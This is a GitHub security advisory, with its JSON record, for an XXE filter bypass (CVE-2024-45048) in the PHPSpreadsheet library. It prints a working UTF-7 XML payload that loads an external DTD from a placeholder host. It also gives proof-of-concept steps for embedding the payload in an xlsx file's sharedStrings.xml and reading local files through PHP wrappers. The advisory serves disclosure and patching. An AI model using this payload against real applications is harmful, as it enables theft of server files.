GHSA-GHG6-32F9-2JP7

Vulnerability from github – Published: 2024-08-29 17:58 – Updated: 2025-03-06 18:10
VLAI?
Summary
XXE in PHPSpreadsheet encoding is returned
Details

Summary

Bypassing the filter allows a XXE-attack. Which is turn allows attacker to obtain contents of local files, even if error reporting muted by @ symbol. (LFI-attack)

Details

Check $pattern = '/encoding="(.*?)"/'; easy to bypass. Just use a single quote symbol '. So payload looks like this:

<?xml version="1.0" encoding='UTF-7' standalone="yes"?>
+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://example.com/file.dtd"> %xxe;]>

If you add this header to any XML file into xlsx-formatted file, such as sharedStrings.xml file, then xxe will execute.

PoC

1) Create simple xlsx file 2) Rename xlsx to zip 3) Go to the zip and open the xl/sharedStrings.xml file in edit mode. 4) Replace <?xml version="1.0" encoding="UTF-8" standalone="yes"?> to 

<?xml version="1.0" encoding='UTF-7' standalone="yes"?>
+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://%webhook%/file.dtd"> %xxe;]>

5) Save sharedStrings.xml file and rename zip back to xlsx. 6) Use minimal php code that simply opens this xlsx file:

use PhpOffice\PhpSpreadsheet\IOFactory;
require __DIR__ . '/vendor/autoload.php';
$spreadsheet = IOFactory::load("file.xlsx");

7) You will receive the request to your http://%webhook%/file.dtd 8) Dont't forget that you can use php-wrappers into xxe, some php:// wrapper payload allows fetch local files.

Impact

Read local files lfi

Severity ?
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.29.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpexcel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.8.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-45048"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-08-29T17:58:27Z",
    "nvd_published_at": "2024-08-28T21:15:06Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nBypassing the filter allows a XXE-attack. Which is turn allows attacker to obtain contents of local files, even if error reporting muted by @ symbol. (LFI-attack) \n\n### Details\nCheck ` $pattern = \u0027/encoding=\"(.*?)\"/\u0027;` easy to bypass. Just use a single quote symbol `\u0027`. So payload looks like this:\n```\n\u003c?xml version=\"1.0\" encoding=\u0027UTF-7\u0027 standalone=\"yes\"?\u003e\n+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM \"http://example.com/file.dtd\"\u003e %xxe;]\u003e\n```\nIf you add this header to any XML file into xlsx-formatted file, such as sharedStrings.xml file, then xxe will execute. \n\n### PoC\n1) Create simple xlsx file\n2) Rename xlsx to zip\n3) Go to the zip and open the `xl/sharedStrings.xml` file in edit mode.\n4) Replace `\u003c?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?\u003e` to \n```\n\u003c?xml version=\"1.0\" encoding=\u0027UTF-7\u0027 standalone=\"yes\"?\u003e\n+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM \"http://%webhook%/file.dtd\"\u003e %xxe;]\u003e\n```\n5) Save `sharedStrings.xml` file and rename zip back to xlsx.\n6) Use minimal php code that simply opens this xlsx file:\n```\nuse PhpOffice\\PhpSpreadsheet\\IOFactory;\nrequire __DIR__ . \u0027/vendor/autoload.php\u0027;\n$spreadsheet = IOFactory::load(\"file.xlsx\");\n```\n7) You will receive the request to your `http://%webhook%/file.dtd`\n8) Dont\u0027t forget that you can use php-wrappers into xxe, some php:// wrapper payload allows fetch local files.\n\n### Impact\nRead local files\n![lfi](https://github.com/PHPOffice/PhpSpreadsheet/assets/95242087/1839cddb-6bb0-486d-8884-9ac485776931)",
  "id": "GHSA-ghg6-32f9-2jp7",
  "modified": "2025-03-06T18:10:41Z",
  "published": "2024-08-29T17:58:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-ghg6-32f9-2jp7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45048"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/bea2d4b30f24bcc8a7712e208d1359e603b45dda"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "XXE in PHPSpreadsheet encoding is returned"
}


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